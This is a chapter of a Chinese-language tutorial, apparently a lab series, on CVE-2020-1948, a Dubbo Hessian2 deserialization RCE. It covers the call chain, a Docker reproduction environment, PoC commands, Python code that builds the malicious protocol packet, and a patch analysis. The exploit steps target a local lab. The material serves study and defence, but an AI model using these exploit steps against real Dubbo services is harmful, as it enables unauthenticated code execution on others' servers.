Dubbo漏洞 - 06 CVE-2020-1948

CVE-2020-1948 — Dubbo 协议 Hessian2 反序列化 RCE

漏洞概述

CVE 编号:CVE-2020-1948

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.7.0 ~ 2.7.6, 2.6.0 ~ 2.6.7, 所有 2.5.x

修复版本:2.7.7, 2.6.8

攻击协议:Dubbo 协议(默认协议,默认端口 20880)

序列化方式:Hessian2(默认序列化)

重要性:这是第一个直接攻击 Dubbo 默认配置的高危漏洞

漏洞原理

根因分析

Dubbo Provider 在处理 RPC 请求时,先反序列化请求体中的所有参数,再验证服务名和方法名

攻击者可以发送一个服务名和方法名都不存在的 RPC 请求

只要请求体中的参数包含恶意 Hessian2 序列化对象,反序列化过程就会触发 gadget chain

关键发现:反序列化发生在方法路由之前,无需知道真实的服务接口

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
攻击者发送 Dubbo 协议包(端口 20880
→ ExchangeCodec.decode() // 解析 16 字节 header
→ DubboCodec.decodeBody() // 根据 SerID 选择反序列化器
→ Hessian2ObjectInput.readUTF() // 读取 Dubbo 版本
→ Hessian2ObjectInput.readUTF() // 读取服务名(可以是任意值)
→ Hessian2ObjectInput.readUTF() // 读取服务版本
→ Hessian2ObjectInput.readUTF() // 读取方法名(可以是任意值)
→ Hessian2ObjectInput.readUTF() // 读取参数类型描述符
→ Hessian2ObjectInput.readObject() // 读取参数值 ← 触发反序列化!
→ MapDeserializer.readMap()
→ HashMap.put(key, value)
→ key.hashCode() // 触发 ROME/Spring AOP gadget chain
→ ... → RCE
→ 尝试查找服务(失败,但反序列化已经执行了)

为什么服务名/方法名可以是任意值?

Dubbo 的解码流程是按顺序读取请求体的各个字段

反序列化是贪婪的:读到参数时就立即反序列化

服务查找(getInvoker())在反序列化之后才执行

即使服务不存在,恶意代码已经执行了

环境搭建

Docker 方式

1
2
3
4
5
cd environments/cve-2020-1948
docker-compose up -d

# 验证 20880 端口
telnet 127.0.0.1 20880

漏洞复现

核心:手工构造 Dubbo 协议包

这是理解 Dubbo 漏洞利用的关键步骤

需要按照 Dubbo 协议格式构造二进制数据包

步骤一:理解数据包结构

1
2
3
4
5
6
7
8
9
┌── Header (16 bytes) ──────────────────────────────┐
│ DA BB │ C2 │ 00 │ 00..00..00..01 │ 00..00..XX..XX
│ magic │flag│stat│ request id │ data length │
└────────────────────────────────────────────────────┘
┌── Body (Hessian2 编码) ───────────────────────────┐
│ dubbo_version │ service_name │ service_version
│ method_name │ param_types │ param_values (恶意)
│ attachments │
└────────────────────────────────────────────────────┘

flags = 0xC2:Request(1) + TwoWay(1) + NotEvent(0) + Hessian2(00010)

步骤二:使用 PoC 脚本

1
2
3
4
python exploits/cve_2020_1948_hessian.py \
--target 127.0.0.1 \
--port 20880 \
--command "touch /tmp/pwned"

步骤三:使用 dubbo-exp 工具

1
2
3
4
5
java -jar dubbo-exp.jar \
--gadget Rome \
--command "touch /tmp/pwned" \
--host 127.0.0.1 \
--port 20880

步骤四:验证

1
docker exec dubbo-provider ls /tmp/pwned

Dubbo 协议包构造详解

Python 代码解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket, struct

def build_dubbo_request(body_bytes):
"""构造 Dubbo 协议请求包"""
magic = b'\xda\xbb'
# flags: Request=1, TwoWay=1, Event=0, SerID=Hessian2(2)
# 二进制: 1100 0010 = 0xC2
flags = 0xC2
status = 0x00
request_id = 1
data_length = len(body_bytes)

header = magic + struct.pack('!BBqI',
flags, status, request_id, data_length)
return header + body_bytes

def hessian2_string(s):
"""Hessian2 编码字符串"""
encoded = s.encode('utf-8')
length = len(encoded)
if length < 32:
return bytes([length]) + encoded
elif length < 256:
return b'\x30' + bytes([length]) + encoded
else:
return b'\x53' + struct.pack('!H', length) + encoded

def build_body(service, method, malicious_payload):
"""构造 Dubbo RPC body"""
body = b''
body += hessian2_string("2.7.3") # dubbo version
body += hessian2_string(service) # service name
body += hessian2_string("0.0.0") # service version
body += hessian2_string(method) # method name
body += hessian2_string("Ljava/lang/Object;") # param type
body += malicious_payload # 恶意参数(Hessian2 格式)
body += b'H' # attachments (空 map)
body += b'Z'
return body

关键点

servicemethod 可以是任意字符串,不需要真实存在

malicious_payload 是 Hessian2 格式的恶意序列化数据(用 marshalsec 生成)

整个利用过程不需要知道目标暴露了哪些服务

补丁分析

Dubbo 2.7.7 修复

引入了 Hessian2 类型过滤(黑名单/白名单)机制

在反序列化之前检查类名,阻止已知危险类

修复的局限性

黑名单可以被绕过(后续 CVE-2021-25641 就利用了序列化 ID 篡改绕过)

白名单需要用户手动配置,默认不启用

这只是 Dubbo 安全攻防的起点,后续又出现了多个绕过

关联的 Gadget Chain

因为使用 Hessian2 序列化,可用链:

依赖 推荐度
ROME rome 高(不需要出网)
Spring AOP spring-aop 高(需要 JNDI 出网)
XBean xbean-naming

思考与延伸

这是 Dubbo 默认配置下的第一个高危漏洞,影响面极大

攻击者只需要网络能访问 20880 端口即可利用,无需任何认证

开启了 Dubbo 漏洞的”军备竞赛”:修补 → 绕过 → 再修补 → 再绕过

后续的 CVE-2020-11995、CVE-2021-25641 都是在此基础上的升级版本


上一章 目录 下一章
05-CVE-2019-17564 Dubbo漏洞 07-CVE-2020-11995